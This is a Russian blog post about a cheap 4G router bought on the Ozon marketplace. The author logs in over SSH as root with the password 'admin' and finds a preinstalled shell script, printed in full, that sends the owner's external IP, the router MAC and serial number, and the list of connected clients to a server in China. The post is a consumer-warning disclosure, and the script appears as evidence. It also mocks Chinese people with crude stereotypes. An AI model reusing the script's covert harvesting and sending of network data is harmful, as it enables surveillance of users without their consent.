История одного роутера с Озона

Так случилось, что в моей жизни появился гараж, идеально подходящий для реализации моей давней идеи об организации чилл-пространства. Удалось реализовать многие хотелки. Кроме одной: доступ в интернет.
Ни один провайдер не согласился оформлять подключение моего помещения на физическое лицо. Все ссылалась на то, что помещение нежилое, а значит только договор с юр.лицом могут оформить. Ну и еще отнекивались, что "нет технической возможности", хотя ГСК находится прям в самом центре моего подмосковного мухосранска на 150к человек населения.

А интернет хотелось. Хотя бы для подключения умного дома и камеры видеонаблюдения.

Данный экземпляр роутеростроения был успешно получен на ближайшем ПВЗ, установлен в гараже, включен в сеть и настроен. И все было бы хорошо, но система мне казалась довольно знакомой.
Luci. Вся веб-морда работала на Luci, а это очень популярный веб-интерфейс для OpenWRT.
Я уже радостно думаю, что стал обладателем роутера на OpenWRT, прикидываю, как я его интегрирую в свою домашнюю сеть, подниму ssh-туннели и буду баловаться прочими радостями открытой системы для роутера.

Ковыряю я веб-морду и понимаю, что что-то она подозрительно урезанная. Банально, даже нет настроек LTE модуля, интерфейса для смс, IMEI и TTL (кто заморачивался с раздачей мобильного интернета, тот поймет зачем это все надо)...

С лицом Фрайа я открываю termux на телефоне и с помощью nmap сканирую популярные порты.

nmap 192.168.1.1

И вижу я 22 порт, на котором работает ssh.
Пробую подключиться с данными от веб-морды, но меня ждет облом. Пробую дефолтный пароль от вайфая - тоже облом.

Тут вспоминаю, что краем глаза я видел, как в вопросах о товаре продавец писал:

Пишите в личку, скину инструкцию.

Собственно, пошел я докапываться до истины в личку Кабан Кабаныча. Но, Кабан Кабаныч сначала просто темнил, а потом вообще про "агентов", "соответствующие органы" и "проверки" начал выдавать. Не хватило только тезиса про дроны, пятую колонну и госдеп.
Предлагаю с его перлами ознакомиться на скриншотах ниже.

А, вы, Кабан Кабаныч, не охуели часом?
Спойлер: Кабан Кабаныч - охуел

Еще Кабан Кабаныч меня заблокировал в чате. Ну и правильно. Умников тут развелось, ssh им подавай, полный доступ. Вот тебе, с барского плеча девайс, пользуйся, не обляпайся.

Поставил скачиваться дистр Kali linux, потому что на нем хорошо работает Metasploit, а в нем есть хорошие эксплойты для ssh, закрытого алгоритмом ssh-rsa.

Пока Kali качался, мне в голову пришла мысль, что я не пробовал под рутом зайти. Поэтому я взял свой steam deck и попробовал залогиниться под рутом.
И что вы думаете? Третья попытка входа, я ввожу пароль "admin" и попадаю в систему

Сразу же меняю пароль командой "passwd" и закрываю 22 и 23 порт из вне

sudo iptables -A INPUT -p tcp --dport 22 -j DROP sudo iptables -A INPUT -p tcp --dport 23 -j DROP sudo service iptables save

Затем просто ковыряю систему, смотрю какие спеки у железки, какие пакеты у нас установлены и прочие красноглазые приколы.

Вашему вниманию представляется то, что Кабан Кабаныч в коллаборации с Партия Китай, так тщательно от меня скрывал за паролем "admin".

```bash #!/bin/sh SERIAL_NUM="HG2509271****" TARGET_URL="http://web-app-fargate-nlb-internal-a91fd47048eb1ef0.elb.cn-northwest-1.amazonaws.com.cn/vndr/85hJR74/867873043597331/info/r300/" WGET_CMD="/usr/bin/wget/ CAT_CMD="/bin/cat" NC_CMD="/usr/bin/nc" SED_CMD="/bin/sed" WC_CMD="/usr/bin/wc" HOSTNAME=$($WGET_CMD -qO- "$TARGET_URL" | "$SED_CMD" -r 's/https?:\/\/([^/]+).*/\1/' | "$SED_CMD" -e 's/:.*//') PORT=80 IP_ADDRESS=$($WGET_CMD -qO- ifconfig.co) if [ -z "$IP_ADDRESS" ]; then exit 1 fi ROUTER_MAC_IFACE="br-lan" ROUTER_MAC=$($CAT_CMD "/sys/class/net/$ROUTER_MAC_IFACE/address" 2>/dev/null) if [ -z "$ROUTER_MAC" ]; then exit 1 fi CLIENTS_JSON_PART="" FIRST_CLIENT=1 OLD_IFS="$IFS" IFS=#39;\n' LEASES_DATA=$($CAT_CMD /tmp/dhcp.leases 2>/dev/null) for line in $LEASES_DATA; do set -- $line mac_addr="$2" ip_addr="$3" if [ -n "$mac_addr" ] && [ -n "$ip_addr" ] && [ "$mac_addr" != "$ROUTER_MAC" ]; then if [ "$FIRST_CLIENT" -eq 1 ]; then CLIENTS_JSON_PART="{\"ip\":\"$ip_addr\", \"mac\":\"$mac_addr\"}" FIRST_CLIENT=0 else CLIENTS_JSON_PART="$CLIENTS_JSON_PART,{\"ip\":\"$ip_addr\", \"mac\":\"$mac_addr\"}" fi fi done IFS="$OLD_IFS" JSON_PAYLOAD=$(printf '{ "ip": "%s", "serial_num": "%s", "router_mac": "%s", "clients": [ %s ] }' "$IP_ADDRESS" "$SERIAL_NUM" "$ROUTER_MAC" "$CLIENTS_JSON_PART") CONTENT_LENGTH=$(echo -n "$JSON_PAYLOAD" | "$WC_CMD" -c) HTTP_REQUEST="POST $(echo "$TARGET_URL" | "$SED_CMD" -r 's/https?:\/\/[^/]+//') HTTP/1.1\r\n" HTTP_REQUEST="${HTTP_REQUEST}Host: $HOSTNAME\r\n" HTTP_REQUEST="${HTTP_REQUEST}Content-Type: application/json\r\n" HTTP_REQUEST="${HTTP_REQUEST}Content-Length: $CONTENT_LENGTH\r\n" HTTP_REQUEST="${HTTP_REQUEST}Connection: close\r\n" HTTP_REQUEST="${HTTP_REQUEST}\r\n" HTTP_REQUEST="${HTTP_REQUEST}${JSON_PAYLOAD}" echo -ne "$HTTP_REQUEST" | "$NC_CMD" "$HOSTNAME" "$PORT" >/dev/null 2>&1 exit 0 ```

Уж не знаю, сколько Кабан Кабаныч получил миска рис и кошка жена за такие мувы, но, честно скажу, это пиздец. Тем более такое продавать. И тем более общаться так, как общается наш Кабан Кабаныч.

Что же делает данный скрипт:

получает наш внешний ip-адрес GET-запросом с ifconfig.co
Получает мак-адрес роутера
Получает таблицу dhcp-клиентов с их мак-адресами
Формирует json, в котором содержится ip-адрес, серийный номер роутера, мак-адрес и список клиентов, которые подключены к роутеру.
Делает POST-запрос с этом json на очень интересный адрес амазоновской ноды, расположенной в Поднебесной
И, самое интересное, скрипт стреляет этими данными каждый час

Вот какой процент обывателей вообще даже задумается о существовании такого "функционала" в их роутере? Работает и работает же, инет есть и хорошо, только деньгу на симку успевай закидывать.
А вот с какими целями данные отправляются куда надо и для чего они могут быть использованы - вопрос очень хороший, но он не останется без ответа.

Известно только одно, после публикации данного материала, товарищ Xi изымет у меня кошку-жену и второй миска рис. Мой social credit будет сильно понижен.

После успешного обезвреживания шпиона, который проник в мой гараж, я отправился играть на своем стим-деке и пить пивко.

Честно, я не знаю, какие выводы из этой истории надо сделать. Возможно, что стоит проверять все сетевое оборудование, которое вы покупаете? Или то, что если цена на товар ниже рынка, значит товаром становится его покупатель?

Думайте. Подписаться. Поздняков.

История одного роутера с Озона

Бэкдоры, пердолинг, пентестинг, общение с Кабан Кабанычем и опасности дешевых ноу-нейм роутеров с маркетплейсов. Все это ждет вас под катом.

Поэтому с озона был заказан 4G роутер под гордым названием "R300 PRO 4G WI FI" (что бы это не значило).

Моей реакцией было что-то вроде:

Тут уже вопрос стал чисто принципиальным. НАДО ЛОМАТЬ ЭТОТ РОУТЕР!

Реально. Юзернейм: "root", пароль: "admin"

Скажу очевидную вещь, но, это не нормально. Не нормально продавать подобное оборудование людям. Это просто опасно для использования.